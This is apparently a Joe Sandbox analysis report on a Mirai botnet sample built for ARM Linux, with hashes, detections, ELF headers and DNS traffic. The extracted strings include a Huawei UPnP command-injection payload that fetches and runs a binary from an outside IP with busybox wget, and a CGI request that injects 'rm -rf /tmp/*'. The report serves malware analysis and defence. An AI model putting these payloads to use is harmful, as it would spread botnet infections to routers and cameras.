Edit tour

Linux Analysis Report
resgod.arm6.elf

Overview

General Information

Sample name:resgod.arm6.elf
Analysis ID:1643307
MD5:194f8cd49d7828856b1e8807e4db2a91
SHA1:ac1ba1fe0b68a48fd07cce620420eba987154f70
SHA256:fe48e5dc6614fb7cafa18abfadd95275d86ca19ba2b2986c6a7728c96f4c6dbf
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1643307
Start date and time:2025-03-19 18:37:19 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 28s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:resgod.arm6.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@2/0
  • VT rate limit hit for: http://104.168.101.27/resgod.arm7
  • VT rate limit hit for: http://104.168.101.27/resgod.mips;
Command:/tmp/resgod.arm6.elf
PID:5491
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • resgod.arm6.elf (PID: 5491, Parent: 5406, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/resgod.arm6.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
resgod.arm6.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    resgod.arm6.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      SourceRuleDescriptionAuthorStrings
      5491.1.00007f7628017000.00007f7628029000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        5491.1.00007f7628017000.00007f7628029000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          Process Memory Space: resgod.arm6.elf PID: 5491JoeSecurity_Mirai_6Yara detected MiraiJoe Security
            No Suricata rule has matched

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: resgod.arm6.elfAvira: detected
            Source: resgod.arm6.elfVirustotal: Detection: 61%Perma Link
            Source: resgod.arm6.elfReversingLabs: Detection: 63%
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
            Source: resgod.arm6.elfString found in binary or memory: http://104.168.101.27/resgod.arm
            Source: resgod.arm6.elfString found in binary or memory: http://104.168.101.27/resgod.arm7
            Source: resgod.arm6.elfString found in binary or memory: http://104.168.101.27/resgod.mips;
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
            Source: resgod.arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.27 -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: Initial samplePotential command found: GET /set_ftp.cgi?loginuse=
            Source: Initial samplePotential command found: GET /ftptest.cgi?loginuse=
            Source: Initial samplePotential command found: GET login.cgi HTTP/1.0
            Source: Initial samplePotential command found: GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28rm+-rf+/tmp/*%29 HTTP/1.0
            Source: Initial samplePotential command found: GET /ftptest.cgi?loginuse=GET login.cgi HTTP/1.0
            Source: ELF static info symbol of initial sample.symtab present: no
            Source: classification engineClassification label: mal72.troj.linELF@0/0@2/0
            Source: /tmp/resgod.arm6.elf (PID: 5491)Queries kernel information via 'uname': Jump to behavior
            Source: resgod.arm6.elf, 5491.1.0000558ce08a9000.0000558ce09d7000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
            Source: resgod.arm6.elf, 5491.1.00007ffc8db0b000.00007ffc8db2c000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/resgod.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/resgod.arm6.elf
            Source: resgod.arm6.elf, 5491.1.0000558ce08a9000.0000558ce09d7000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
            Source: resgod.arm6.elf, 5491.1.00007ffc8db0b000.00007ffc8db2c000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
            Source: resgod.arm6.elf, 5491.1.00007ffc8db0b000.00007ffc8db2c000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: resgod.arm6.elf, type: SAMPLE
            Source: Yara matchFile source: 5491.1.00007f7628017000.00007f7628029000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: resgod.arm6.elf PID: 5491, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: resgod.arm6.elf, type: SAMPLE
            Source: Yara matchFile source: 5491.1.00007f7628017000.00007f7628029000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: resgod.arm6.elf PID: 5491, type: MEMORYSTR
            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
            Command and Scripting Interpreter
            Path InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery
            Remote ServicesData from Local System1
            Non-Application Layer Protocol
            Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
            Application Layer Protocol
            Exfiltration Over BluetoothNetwork Denial of Service
            No configs have been found
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1643307 Sample: resgod.arm6.elf Startdate: 19/03/2025 Architecture: LINUX Score: 72 8 daisy.ubuntu.com 2->8 10 Antivirus / Scanner detection for submitted sample 2->10 12 Multi AV Scanner detection for submitted file 2->12 14 Yara detected Mirai 2->14 6 resgod.arm6.elf 2->6         started        signatures3 process4
            SourceDetectionScannerLabelLink
            resgod.arm6.elf61%VirustotalBrowse
            resgod.arm6.elf64%ReversingLabsLinux.Trojan.Mirai
            resgod.arm6.elf100%AviraEXP/ELF.Mirai.W
            No Antivirus matches
            No Antivirus matches
            No Antivirus matches

            Download Network PCAP: filteredfull

            NameIPActiveMaliciousAntivirus DetectionReputation
            daisy.ubuntu.com
            162.213.35.25
            truefalse
              high
              NameSourceMaliciousAntivirus DetectionReputation
              http://schemas.xmlsoap.org/soap/encoding//%22%3Eresgod.arm6.elffalse
                high
                http://104.168.101.27/resgod.arm7resgod.arm6.elffalse
                  unknown
                  http://schemas.xmlsoap.org/soap/encoding/resgod.arm6.elffalse
                    high
                    http://schemas.xmlsoap.org/soap/envelope//resgod.arm6.elffalse
                      high
                      http://104.168.101.27/resgod.armresgod.arm6.elffalse
                        unknown
                        http://104.168.101.27/resgod.mips;resgod.arm6.elffalse
                          unknown
                          http://schemas.xmlsoap.org/soap/envelope/resgod.arm6.elffalse
                            high
                            No contacted IP infos
                            No context
                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            daisy.ubuntu.comsync.arm5.elfGet hashmaliciousUnknownBrowse
                            • 162.213.35.24
                            resgod.x86.elfGet hashmaliciousMiraiBrowse
                            • 162.213.35.25
                            miner.elfGet hashmaliciousUnknownBrowse
                            • 162.213.35.25
                            miner.elfGet hashmaliciousUnknownBrowse
                            • 162.213.35.24
                            miner.elfGet hashmaliciousUnknownBrowse
                            • 162.213.35.24
                            sh4.elfGet hashmaliciousUnknownBrowse
                            • 162.213.35.25
                            aarch64.elfGet hashmaliciousUnknownBrowse
                            • 162.213.35.24
                            Federalarm5Agent.elfGet hashmaliciousUnknownBrowse
                            • 162.213.35.25
                            arm.elfGet hashmaliciousUnknownBrowse
                            • 162.213.35.24
                            No context
                            No context
                            No context
                            No created / dropped files found
                            File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                            Entropy (8bit):6.167228917746894
                            TrID:
                            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                            File name:resgod.arm6.elf
                            File size:75'052 bytes
                            MD5:194f8cd49d7828856b1e8807e4db2a91
                            SHA1:ac1ba1fe0b68a48fd07cce620420eba987154f70
                            SHA256:fe48e5dc6614fb7cafa18abfadd95275d86ca19ba2b2986c6a7728c96f4c6dbf
                            SHA512:11b39dce2ec2d8faeb9b3aa8ba8e5cbcb77175b5f23daccc4150a048b58433ba2b41610b8e134eeecb9ef172359bbd04bca11cc4eaa32444716c1ed6b343d8d2
                            SSDEEP:1536:KRn6RJc2d1yf4dGT3jBTM+a50cXIdiCgsZm3bek5OYvHYJNOqt0LG:Xdw4dyM+aUgsZm3bekAqYJNOqt0C
                            TLSH:0C730A9AB981AB11C6C2557BFE4F114F33038B6CE3DE731299246B7477CB46B0E2A506
                            File Content Preview:.ELF..............(.....T...4...L#......4. ...(.......................................... ... ... ..................Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.."....... ....-.@0....S

                            ELF header

                            Class:ELF32
                            Data:2's complement, little endian
                            Version:1 (current)
                            Machine:ARM
                            Version Number:0x1
                            Type:EXEC (Executable file)
                            OS/ABI:UNIX - System V
                            ABI Version:0
                            Entry Point Address:0x8154
                            Flags:0x4000002
                            ELF Header Size:52
                            Program Header Offset:52
                            Program Header Size:32
                            Number of Program Headers:3
                            Section Header Offset:74572
                            Section Header Size:40
                            Number of Section Headers:12
                            Header String Table Index:11
                            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                            NULL0x00x00x00x00x0000
                            .initPROGBITS0x80940x940x100x00x6AX004
                            .textPROGBITS0x80b00xb00xff100x00x6AX0016
                            .finiPROGBITS0x17fc00xffc00x100x00x6AX004
                            .rodataPROGBITS0x17fd00xffd00x1fc80x00x2A008
                            .init_arrayINIT_ARRAY0x220040x120080x40x00x3WA004
                            .fini_arrayFINI_ARRAY0x220080x1200c0x40x00x3WA004
                            .gotPROGBITS0x220100x120140x7c0x40x3WA004
                            .dataPROGBITS0x2208c0x120900x24c0x00x3WA004
                            .bssNOBITS0x222d80x122dc0x25ac0x00x3WA008
                            .ARM.attributesARM_ATTRIBUTES0x00x122dc0x100x00x0001
                            .shstrtabSTRTAB0x00x122ec0x5d0x00x0001
                            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                            LOAD0x00x80000x80000x11f980x11f986.19700x5R E0x8000.init .text .fini .rodata
                            LOAD0x120040x220040x220000x2d80xa8803.67440x6RW 0x8000.init_array .fini_array .got .data .bss
                            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                            Download Network PCAP: filteredfull

                            TimestampSource PortDest PortSource IPDest IP
                            Mar 19, 2025 18:38:14.200438023 CET5009453192.168.2.141.1.1.1
                            Mar 19, 2025 18:38:14.200494051 CET4122853192.168.2.141.1.1.1
                            Mar 19, 2025 18:38:14.207722902 CET53500941.1.1.1192.168.2.14
                            Mar 19, 2025 18:38:14.208420992 CET53412281.1.1.1192.168.2.14
                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                            Mar 19, 2025 18:38:14.200438023 CET192.168.2.141.1.1.10x63ecStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                            Mar 19, 2025 18:38:14.200494051 CET192.168.2.141.1.1.10x9e98Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                            Mar 19, 2025 18:38:14.207722902 CET1.1.1.1192.168.2.140x63ecNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
                            Mar 19, 2025 18:38:14.207722902 CET1.1.1.1192.168.2.140x63ecNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

                            System Behavior

                            Start time (UTC):17:38:12
                            Start date (UTC):19/03/2025
                            Path:/tmp/resgod.arm6.elf
                            Arguments:/tmp/resgod.arm6.elf
                            File size:4956856 bytes
                            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1